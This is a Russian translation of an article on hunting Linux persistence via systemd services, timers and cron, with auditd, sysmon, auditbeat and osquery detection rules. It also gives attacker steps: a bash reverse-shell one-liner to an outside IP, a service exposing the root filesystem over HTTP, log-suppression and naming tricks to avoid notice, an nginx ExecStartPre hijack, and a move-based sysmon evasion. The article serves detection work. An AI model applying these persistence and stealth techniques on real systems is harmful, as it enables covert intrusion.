Данная публикация - перевод серии статей от Pepe Berba - Hunting for Persistence in Linux.

! Все приведённые в данном материале примеры эксплоитов предназначены исключительно для изучения и проработки мер безопасности. Их использование в злонамеренных целях строго запрещено и противоречит законодательству. Автор и источник не несут ответственности за неправомерные действия, совершённые с использованием данной информации. !

Введение

В этой статье мы обсудим, как злоумышленники могут создавать сервисы и планировщики задач для закрепления, рассмотрев следующие техники:

  • Создание или модификация системного процесса: сервис Systemd

  • Планировщик задач/джоб: таймеры Systemd

  • Планировщик задач/джоб: Cron

Мы приведём несколько примеров команд по реализации этих техник закрепления, а также покажем, как создать оповещения с помощью открытых решений, таких как auditd, osquery, sysmon и auditbeats.

5 Создание или модификация системного процесса: сервис Systemd

5.1 Введение в сервисы Systemd

MITRE: https://attack.mitre.org/techniques/T1543/002/

Сервисы Systemd обычно используются для управления фоновыми демонами. Именно так запускается множество критически важных процессов операционной системы Linux во время загрузки.

Вот несколько примеров сервисов в Debian, с которыми вы можете быть знакомы:

  • /etc/systemd/system/sshd.service: сервис безопасной оболочки (Secure Shell Service)

  • /lib/systemd/system/systemd-logind.service: сервис управления входом в систему (Login Service)

  • /lib/systemd/system/rsyslog.service: сервис системного логирования (System Logging Service)

  • /lib/systemd/system/cron.service: демон регулярной обработки фоновых программ (Regular background program processing daemon)

Благодаря этим файлам сервисов такие процессы, как sshd, rsyslogd и cron, начинают работать сразу после включения машины.

Злоумышленники могут использовать systemd для установки собственных вредоносных сервисов, чтобы даже после перезагрузки их бэкдор также запускался. Для установки нового сервиса создаётся unit-файл с расширением .service в каталоге:
/etc/systemd/system/ или /lib/systemd/system/.

Давайте рассмотрим rsyslog.service, чтобы увидеть реальный пример конфигурации.

[Unit]
Description=System Logging Service
Requires=syslog.socket
Documentation=man:rsyslogd(8)
Documentation=https://www.rsyslog.com/doc/

[Service]
Type=notify
ExecStart=/usr/sbin/rsyslogd -n -iNONE
StandardOutput=null
Restart=on-failure

# Increase the default a bit in order to allow many simultaneous
# files to be monitored, we might need a lot of fds.
LimitNOFILE=16384

[Install]
WantedBy=multi-user.target
Alias=syslog.service

Есть две строки, на которые стоит обратить внимание:

  • ExecStart: это команда, которая выполняется при запуске сервиса

  • WantedBy: значение multi-user.target означает, что сервис должен запускаться при загрузке системы

Вот несколько ресурсов, чтобы разобраться в этом подробнее:

5.2 Установка вредоносного сервиса

5.2.1 Где размещать файлы сервисов

Чтобы установить сервис, сначала необходимо создать unit-файл вида <SERVICE>.service в одном из путей загрузки unit-файлов systemd. Согласно man-страницам [Debian systemd.unit man page] и [freedesktop systemd.unit man page].

Путь

Описание

/etc/systemd/system

системные юниты, созданные администратором

/usr/local/lib/systemd/system

системные юниты, установленные администратором

/lib/systemd/system

системные юниты, установленные менеджером пакетов дистрибутива

/usr/local/lib/systemd/system

системные юниты, установленные менеджером пакетов дистрибутива

Полные пути и порядок, в котором systemd будет искать unit-файлы, можно перечислить с помощью команды systemd-analyze unit-paths (для пользовательского режима добавьте ключ --user). Например:

$ systemd-analyze unit-paths
...
/etc/systemd/system
...
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
...

Это точный порядок и места, откуда systemd будет загружать сервисы. Некоторые директории, например /run/*, являются временными и не сохраняются после выключения машины.

Будет использован первый найденный файл с расширением *.service из списка. Например, если файл /lib/systemd/system/nginx.service уже существует, а мы создадим /etc/systemd/system/nginx.service, то мы переопределим сервис nginx.service, потому что /etc/systemd/system имеет приоритет над /lib/systemd/system/nginx.service.

Это может быть интересным вариантом, если мы хотим скомпрометировать уже существующие сервисы, а не создавать новые.

5.2.2 Минимальный файл сервиса

Мы хотим создать сервис под названием bad. Для этого создаём файл с именем /etc/systemd/system/bad.service.

[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory /

[Install]
WantedBy=multi-user.target

После создания файла нужно включить сервис, чтобы он запускался при загрузке системы. Стандартный способ сделать это:

systemctl enable bad

Если ваш сервис называется, например, netdns.service, то нужно выполнить команду systemctl enable netdns. Эта команда найдёт файл netdns.service в одном из путей unit-файлов, распарсит его и создаст символическую ссылку для каждого таргета, указанного в настройке WantedBy.

Поскольку в нашем примере WantedBy=multi-user.target, целевой каталог будет /etc/systemd/system/multi-user.target.wants, и мы можем создать символическую ссылку вручную.

ln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-
user.target.wants/bad.service

После создания символической ссылки операционная система будет знать, что нужно запускать bad.service при загрузке машины. Чтобы запустить сервис вручную, можно выполнить команду:systemctl start bad Если вы изменяете unit-файл, необходимо перезагрузить конфигурацию systemd командой: systemctl daemon-reload В этом примере в ExecStart используется python3, но вы можете заменить её на любую команду. Это может быть обратная оболочка, например: bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 из любого соответствующего cheat sheet [PayloadsAllTheThings Reverse Shell], или вы можете указать путь к bash-скрипту или исполняемому файлу, например /tmp/backdoor или /opt/backdoor.

5.2.3 Оставаться незаметным

Будьте внимательны к имени юнита, описанию и выводу вашего скрипта или исполняемого файла.

По умолчанию описание сервиса будет отображаться в syslog, а также туда попадёт стандартный вывод (stdout) и вывод ошибок (stderr).

Например, если у меня есть python-скрипт, который запускает сервис и пытается подключиться к домену, который мы настроили неправильно, то в syslog может появиться примерно такой запись:

Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.
Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):
Jan 30 07:36:27 test-auditd python3[957]:   File "<string>", line 1, in <module>
Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.

Это проблема, потому что такие записи могут насторожить безопасников.

Общий способ предотвратить логирование stdout и stderr — добавить в секцию [Service] unit-файла следующие строки:

StandardOutput=null
StandardError=null

После того как мы изменим скрипт так, чтобы он корректно обрабатывал ошибки, а также изменим имя, описание и настройки логирования сервиса, у нас может получиться что-то вроде этого:

Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.
Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.

5.2.4 Пользовательские сервисы Systemd

Существует менее распространённый класс сервисов systemd — пользовательские сервисы. Они располагаются в другом наборе путей unit-файлов, который можно узнать с помощью команды: systemd-analyze unit-paths --user Вывод для Debian:

$ systemd-analyze unit-paths --user
...
/home/user/.config/systemd/user
/etc/systemd/user
...
/home/user/.local/share/systemd/user
/usr/local/share/systemd/user
/usr/share/systemd/user
/usr/local/lib/systemd/user
/usr/lib/systemd/user
...

Мы можем добавить сервис bad_user.service в каталог /etc/systemd/user.

[Unit]
Description=Example of bad service

[Service]
ExecStart=<SOME COMMAND>

[Install]
WantedBy=default.target

Мы можем включить этот сервис «глобально», создав каталог /etc/systemd/user/default.target.wants и создав в нём символическую ссылку на bad_user.service.

mkdir /etc/systemd/user/default.target.wants
ln -s /etc/systemd/user/bad_user.service 
/etc/systemd/user/default.target.wants/bad_user.service

После перезагрузки при следующем входе пользователя в систему запускается выделенный сервис bad_user.service.

Чем это отличается от предыдущего варианта?

Пользовательские сервисы запускаются в контексте конкретного пользователя, а не системы в целом, поэтому они активируются именно при входе этого пользователя, а не сразу при загрузке машины.

Ниже приведён пример дерева процессов.

[root] systemd (PID 1)
├─ [root] sshd.service
├─ [root] rsyslog.service
├─ [root] bad.service
├─ [root] cron.service
│
├─ [user0] systemd --user
│  ├─ [user0] bad_user.service
│
├─ [user1] systemd --user
   ├─ [user1] bad_user.service

Поскольку sshd, cron и bad.service — это системные сервисы, создаётся только один экземпляр каждого (обычно работающий от имени root). Если в систему входят user0 и user1, то для каждого из них создаётся по одному экземпляру bad_user.service, так как это пользовательский сервис.

Обычно злоумышленнику нужны права root, чтобы создавать системные сервисы. С другой стороны, любой пользователь может создать свои собственные unit-файлы в директории ~/.config/systemd/user. Это удобно для поддержания закрепления на уровне пользователя до тех пор, пока злоумышленник не получит root-доступ.

Как обычный пользователь, вы можете управлять такими сервисами через systemctl с флагом --user.

  • /etc/systemd/*

  • /usr/local/lib/systemd/*

  • /lib/systemd/*

  • /usr/lib/systemd/*

  • <USER HOME>/.config/systemd/user

Если злоумышленник хочет корректно запустить сервис, он может вызвать команду systemctl или service, поэтому мониторинг выполнения этих команд тоже может выявить вредоносные сервисы. Однако, как мы показали в предыдущих разделах, сервис можно включить и вручную, создав символическую ссылку, минуя вызов команд управления сервисами.

5.4 Обнаружение с помощью правил auditd

Наши эталонные правила из репозитория Neo23x0/auditd предоставляют следующие правила.

-w /bin/systemctl -p x -k systemd
-w /etc/systemd/ -p wa -k systemd

Это не позволит обнаружить установку закрепления, например, как в модуле metasploit service_persistence, где файл сервиса устанавливается в /lib/systemd/system/#{service_filename}.service.

Для этого я рекомендую добавить следующие правила:

-w /usr/lib/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd

# Directories may not exist
-w /usr/local/lib/systemd/ -p wa -k systemd
-w /usr/local/share/systemd/user -p wa -k systemd_user
-w /usr/share/systemd/user  -p wa -k systemd_user

Закомментированные правила могут быть неактуальны, так как соответствующие директории могут отсутствовать в зависимости от используемого дистрибутива. Мы не можем применять правила auditd к директориям, которых нет на момент запуска сервиса.

Примеры логов auditd выглядят следующим образом:

SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c 
a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0 
euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm="bash" 
exe="/usr/bin/bash" subj==unconfined key="systemd"
PATH item=0 name="/etc/systemd/system/" inode=90 dev=08:01 mode=040755 ouid=0 
ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 
cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 name="/etc/systemd/system/bad_auditd_example.service" inode=11867 
dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE 
cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"

5.5 Обнаружение с помощью правил sysmon

5.5.1 Использование sysmon

Для sysmon в файле T1543.002_CreateModSystemProcess_Systemd.xml можно увидеть следующее правило:

  <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service" groupRelation="or">
          <TargetFilename condition="begin with">/etc/systemd/system</TargetFilename>
          <TargetFilename condition="begin with">/usr/lib/systemd/system</TargetFilename>
          <TargetFilename condition="begin with">/run/systemd/system/</TargetFilename>
          <TargetFilename condition="contains">/systemd/user/</TargetFilename>
        </Rule>
      </FileCreate>

Аналогично предыдущему разделу, для обнаружения metasploit я рекомендую добавить следующие правила:

<TargetFilename condition="begin with">/lib/systemd/system/</TargetFilename>

Пример лога sysmon:

<?xml version="1.0"?>
<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>11</EventID>
    <Version>2</Version>
    <Level>4</Level>
    <Task>11</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8000000000000000</Keywords>
    <TimeCreated SystemTime="2022-01-30T09:55:21.054861000Z"/>
    <EventRecordID>20</EventRecordID>
    <Correlation/>
    <Execution ProcessID="2571" ThreadID="2571"/>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>test-auditd2</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1543.002,TechniqueName=Create or Modify Sys</Data>
    <Data Name="UtcTime">2022-01-30 09:55:21.062</Data>
    <Data Name="ProcessGuid">{f4c1cbc8-6089-61f6-8d07-9717e6550000}</Data>
    <Data Name="ProcessId">2738</Data>
    <Data Name="Image">/usr/bin/bash</Data>
    <Data Name="TargetFilename">/etc/systemd/system/bad_sysmon_example.service</Data>
    <Data Name="CreationUtcTime">2022-01-30 09:55:21.062</Data>
    <Data Name="User">root</Data>
  </EventData>
</Event>

5.5.2 Особенности обнаружения с помощью правил sysmon

Стоит отметить, что такие правила способны обнаруживать только создание файлов. Но обнаружение не сработает, если:

  • файл bad.service создаётся вне каталога, а затем перемещается в директорию systemd

  • происходит изменение уже существующего файла

Например, указанные выше правила sysmon не сработают на следующий скрипт (в то время как правила auditd его обнаружат).

cat > /tmp/bad_sysmon.service << EOF
[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory / 9998

[Install]
WantedBy=multi-user.target

EOF

mv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service
ln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service
mv /tmp/bad_sysmon.service /etc/systemd/system/multi-
user.target.wants/bad_sysmon.service

5.6 Обнаружение с помощью auditbeats

Конечно, как и auditd, мы можем использовать мониторинг целостности файлов в auditbeats для этой задачи. Однако следует учитывать, что в стандартной конфигурации auditbeats файлы systemd не контролируются [Auditbeat File Integrity Module].

Хотя по умолчанию контролируется каталог /etc/, параметр recursive установлен в false. Это означает, что /etc/systemd не мониторится. Необходимо либо установить recursive: true, либо добавить перечисленные нами пути в конфигурацию.

- module: file_integrity
  paths:
  - /bin
  - /usr/bin
  - /sbin
  - /usr/sbin
  - /etc
  - /etc/systemd/system
  - /lib/systemd/system
  - /usr/lib/systemd/system
  # recursive: true

Если настройка выполнена корректно, создание сервиса и выполнение команды systemctl daemon-reload должны привести к следующим записям в логах:

5.7 Поиск с помощью osquery

5.7.1 Список unit-файлов systemd с хешами

Здесь мы ищем сервисы:

SELECT id, description, fragment_path, md5  
FROM systemd_units 
JOIN hash ON (hash.path = systemd_units.fragment_path) 
WHERE id LIKE "%service";

5.7.2 Список сервисов, запускающихся при старте системы

SELECT name, source, path, status, md5
FROM startup_items 
JOIN hash 
USING(path)
WHERE path LIKE "%.service"  AND status = "inactive"
ORDER BY name;

Этот запрос вернёт элементы запуска с расширением *.service вместе с их путями и хешами. Это те сервисы, которые включены для автозапуска.

5.7.3 Список процессов, созданных systemd

Сервисы, запущенные systemd, будут иметь идентификатор родительского процесса (PID) равный 1. Поэтому мы можем также искать подозрительные процессы с родителем PID = 1. Как рекомендует источник [ATT&CK T1501: Understanding systemd service persistence], стоит обратить внимание на процессы, которые запускаются через python, bash или sh.

SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1

5.7.4 Список сервисов с ошибками

Если бэкдор был настроен неправильно, сервис может не запуститься и перейти в состояние ошибки.

SELECT id, description, fragment_path, sub_state, md5  
FROM systemd_units 
JOIN hash 
ON (hash.path = systemd_units.fragment_path) 
WHERE sub_state='failed';

5.8 Дополнительные заметки: модификация существующих сервисов

Вместо создания нового systemd-сервиса злоумышленник может просто изменить уже существующие сервисы. Например, он может:

  • Изменить существующие .service файлы

  • Переопределить существующие .service файлы

  • Изменить исполняемые файлы, используемые сервисом

Допустим, наша цель — сервис nginx. Чтобы узнать, где находится файл nginx.service, можно использовать команду:

$ systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)

Мы хотим изменить файл /lib/systemd/system/nginx.service. Если мы хотим добавить долгоживущий процесс, не прерывая работу основного процесса nginx, можно использовать директиву ExecStartPre, которая выполняет команду перед основным процессом.

...
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStartPre=/root/run.sh # <------------- ADD THIS
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
...

systemd поддерживает несколько директив ExecStartPre, поэтому мы можем добавить запуск скрипта. Пример шаблона для /root/run.sh может выглядеть так:

#! /bin/bash

<COMMAND> 2>/dev/null >/dev/null & disown  

Таким образом, при следующем запуске nginx (например, после перезагрузки) скрипт run.sh также выполнится.

Если же нужно перезапустить сервис вручную, используется команда:

systemctl daemon-reload
systemctl restart nginx

У нас есть несколько вариантов для модификации:

  • Изменить файл /lib/systemd/system/nginx.service напрямую, но при обновлении nginx этот файл будет перезаписан.

  • Добавить nginx.service в более приоритетные пути, как обсуждалось в разделе 5.2.1 — например, в /etc/systemd/system или /usr/local/lib/systemd/system.

  • Создать файл /etc/systemd/system/nginx.service.d/local.conf, который дополнит или переопределит конфигурацию сервиса.

Пример содержимого файла /etc/systemd/system/nginx.service.d/local.conf:

[Service]
ExecStartPre=/root/run.sh 

Как и при создании нового сервиса, обнаружение таких изменений потребует мониторинга целостности файлов. Поэтому будьте осторожны с простым добавлением сервисов в белый список при поиске вредоносных установок.

6 Запланированные задачи: Таймеры Systemd

MITRE: https://attack.mitre.org/techniques/T1053/006/

6.1 Понимание таймеров systemd

Ранее мы рассматривали сервисы, которые запускаются во время загрузки системы. Но это не единственный способ запуска сервиса — другой вариант — использование таймеров.

Мы можем посмотреть существующие таймеры на виртуальной машине с помощью команды: systemctl list-timers

Это альтернатива более известному cron.

Для понимания работы таймеров нужно знать о двух unit-файлах:

  • SERVICE_NAME.timer

  • SERVICE_NAME.service

.service файл почти такой же, как тот, что мы рассматривали ранее.

Сначала посмотрим пример работы таймеров. Если вы хотите узнать расположение таймера, можно выполнить команду:

# systemctl status google-oslogin-cache.timer 
● google-oslogin-cache.timer - NSS cache refresh timer
   Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)
   Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago

В данном случае файл google-oslogin-cache.timer находится по пути /lib/systemd/system/google-oslogin-cache.timer.

Если посмотреть содержимое google-oslogin-cache.timer, мы увидим:

[Unit]
Description=NSS cache refresh timer

[Timer]
OnBootSec=5
OnUnitActiveSec=6h

[Install]
WantedBy=timers.target

Это означает, что:

  • OnUnitActiveSec=6h: сколько времени ждать перед повторным запуском сервиса (через 6 часов)

  • WantedBy=timers.target: этот .timer считается таймером и активируется через timers.target

Связанный сервис google-oslogin-cache.service очень простой. Секция [Install] пустая, потому что сервис запускается только по таймеру.

[Unit]
Description=NSS cache refresh

[Service]
Type=oneshot
ExecStart=/usr/bin/google_oslogin_nss_cache

6.2 Создание вредоносного таймера

Итак, теперь у нас достаточно информации, чтобы создать вредоносный таймер.

Мы создали файл /etc/systemd/system/scheduled_bad.timer:

[Unit]
Description=Bad timer

[Timer]
OnBootSec=5
OnUnitActiveSec=5m

[Install]
WantedBy=timers.target

Мы создали соответствующий сервис по пути /etc/systemd/system/scheduled_bad.service.

[Unit]
Description=Bad timer

[Service]
ExecStart=/opt/beacon.sh

Теперь мы включаем таймер и запускаем его.

# systemctl daemon-reload 
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer

Аналогично обычному сервису, команда enable создала символическую ссылку для каждого таргета, указанного в параметре WantedBy.

Created symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer → 
/etc/systemd/system/scheduled_bad.timer.

6.3 Обнаружение создания таймеров

Мы не будем подробно обсуждать методы обнаружения, так как они практически совпадают с обнаружением создания systemd-сервисов.

Кратко: стоит отслеживать создание файлов с расширениями .service и .timer в одном из следующих каталогов:

  • /etc/systemd/system

  • /usr/local/lib/systemd/system

  • /lib/systemd/system

  • /usr/lib/systemd/system

6.4 Список таймеров с помощью osquery

SELECT id, description, sub_state, fragment_path  
FROM systemd_units 
WHERE id LIKE "%timer";

7 Запланированные задачи: Cron

MITRE: https://attack.mitre.org/techniques/T1053/003/

7.1 Введение в cron

Cron — это самый традиционный способ создания запланированных задач. Интересующие нас каталоги:

  • /etc/crontab

  • /etc/cron.d/*

  • /etc/cron.{hourly,daily,weekly,monthly}/*

  • /var/spool/cron/crontab/*

Мы не будем подробно рассматривать, как создавать cron-задания. Для примеров можно обратиться к https://crontab.guru/examples.html.

7.2 Создание запланированной задачи cron

7.2.1 Пользовательский crontab

Если вы обычный пользователь, вы можете изменить свой собственный crontab с помощью команды crontab -e. Это создаст файл в /var/spool/cron/crontab/<user>.

Например, можно добавить:

*/5 *  * * *    /opt/beacon.sh

Чтобы запускать /opt/beacon.sh каждые 5 минут. Если команду crontab -e выполняет root, файл будет находиться по пути /var/spool/cron/crontab/root.

7.2.2 /etc/crontab

Администратор может изменять файл /etc/crontab или создавать файлы в /etc/cron.d/<ЛЮБОЕ_ИМЯ>. В отличие от файлов в /var/spool/cron/*, где пользователь для задач определяется исходя из того, чей это crontab, в строках /etc/crontab обязательно указывается имя пользователя, от которого запускается задача.

Для редактирования используйте: vi /etc/crontab/

*/10 *  * * *  root  /opt/beacon.sh

Это будет запускать /opt/beacon.sh каждые 10 минут от имени root.

7.2.3 cron-задания hourly, daily, weekly и monthly

Каталоги /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ содержат скрипты, которые выполняются соответственно ежечасно, ежедневно, еженедельно или ежемесячно.

7.3 Мониторинг добавления заданий в cron

7.3.1 Auditd

В наших эталонных правилах Neo23x0/auditd содержатся следующие правила для мониторинга:

-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -k cron

Это должно покрывать почти все кейсы с cron.

7.3.2 Sysmon

Для sysmon можно использовать правило T1053.003_Cron_Activity.xml, которое является адаптацией приведённых выше правил auditd.

<RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
          <Image condition="end with">crontab</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>
    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
          <TargetFilename condition="is">/etc/cron.allow</TargetFilename>
          <TargetFilename condition="is">/etc/cron.deny</TargetFilename>
          <TargetFilename condition="is">/etc/crontab</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.d/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.daily/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.hourly/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.monthly/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.weekly/</TargetFilename>
          <TargetFilename condition="begin with">/var/spool/cron/crontabs/</TargetFilename>
        </Rule>
      </FileCreate>
    </RuleGroup>

7.3.3 Auditbeats

Как и в случае с systemd, будьте осторожны при использовании стандартного мониторинга целостности файлов в auditbeat. По умолчанию мониторится только /etc/crontab. Следующие пути не контролируются FIM в стандартной конфигурации:

  • /etc/cron.d/*

  • /etc/cron.hourly/*, /etc/cron.daily/*, /etc/cron.weekly/*, /etc/cron.monthly/*

  • /var/spool/cron/crontab/*

Вы можете либо включить рекурсивный мониторинг, либо добавить каждый из этих каталогов отдельно.

7.3.4 Osquery

Просмотр распарсенных crontab:

SELECT *
FROM crontab

Список всех файлов в каталогах /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/:

SELECT path, directory, md5
FROM hash 
WHERE 
  path LIKE "/etc/cron.hourly/%"
  OR path LIKE "/etc/cron.daily/%"
  OR path LIKE "/etc/cron.weekly/%"
  OR path LIKE "/etc/cron.monthly/%";

Комментарии (3)


  1. def-hub-community Автор
    28.07.2025 10:58

    Залетайте к нам в тг @defhubcommunity там есть еще интересного про кибербезопасность.


  1. Kahelman
    28.07.2025 10:58

    Так вроде создание сервисов невозможно без поднятия привилегий. Или у вас все пользователи под рутом работают?


    1. def-hub-community Автор
      28.07.2025 10:58

      Есть User Services в systemd, В systemd начиная с версии 229 поддерживаются user services – сервисы, которые запускаются от имени обычного пользователя и не требуют прав root. Мы писали о них в разделе 5.2.4 Пользовательские сервисы Systemd. Или в чем суть вопроса?